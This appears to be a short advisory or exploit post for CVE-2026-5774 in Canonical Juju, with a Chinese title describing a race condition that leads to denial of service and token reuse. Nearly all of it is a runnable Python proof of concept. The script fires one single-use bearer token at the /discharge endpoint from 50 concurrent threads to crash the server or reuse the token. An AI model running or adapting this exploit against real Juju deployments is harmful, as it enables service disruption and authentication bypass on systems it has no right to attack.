CVE-2026-5774: Canonical Juju 同步漏洞导致DoS与Token重用

import requests import threading # Target URL (Replace with actual Juju API endpoint) TARGET_URL = "https://<juju-api-endpoint>/discharge" # Valid authentication token obtained by low-privilege user AUTH_TOKEN = "<valid-single-use-token>" def send_request(): headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } try: # Attempt to reuse the token concurrently response = requests.post(TARGET_URL, headers=headers, timeout=5) print(f"Status: {response.status_code}, Response: {response.text}") except Exception as e: print(f"Error: {e}") # Create multiple threads to simulate race condition on the userTokens map threads = [] for i in range(50): t = threading.Thread(target=send_request) threads.append(t) t.start() for t in threads: t.join() print("PoC execution completed. Check server status for DoS or token reuse success.")